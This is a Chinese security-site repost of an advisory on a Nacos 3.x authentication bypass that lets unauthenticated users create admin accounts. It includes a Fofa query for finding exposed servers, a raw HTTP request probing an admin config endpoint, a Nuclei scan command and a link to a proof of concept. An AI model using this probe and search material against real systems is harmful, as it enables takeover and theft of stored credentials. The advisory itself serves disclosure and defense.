Nacos权限绕过漏洞【附带最新POC】

admin
admin
admin
185988
文章
141
评论
2026年9月1日19:20:22评论197 views字数 626阅读2分5秒阅读模式

高危，CVSS:9.8，2026-08-27 公开，是 Nacos3.x 系列最核心的权限绕过漏洞

一、漏洞基本信息

漏洞名称：Nacos 3.x UserControllerV3 未授权创建管理员账号（鉴权作用域错配）

漏洞编号：QVD-2026-59388（暂无 CVE）

影响版本：3.0.0 ≤ Nacos ≤ 3.2.3

漏洞类型：身份认证绕过 / 未授权访问

利用条件：仅网络可达，不需要任何账号、Token

危害：攻击者直接调用接口新建管理员账号，完全接管 Nacos，读取所有业务配置（数据库账号、密钥）、篡改配置导致业务瘫痪、持久化后门账号、内网横向渗透

空间测绘

Fofa

app="nacos"

GET /nacos/v3/admin/cs/config/list?pageNo=1&pageSize=10 HTTP/1.1Host: 127.0.0.1:8848User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36Accept: */*

Nuclei

nuclei.exe -u 目标URL -stats -silent -t nacos-v3-auth-user-list-unauth.yaml

poc地址:

https://github.com/mhtsec/nacos-authscope-poc

免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2026年9月1日19:20:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出)：
                   Nacos权限绕过漏洞【附带最新POC】https://cn-sec.com/archives/5415429.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉.

发表评论

匿名网友 填写信息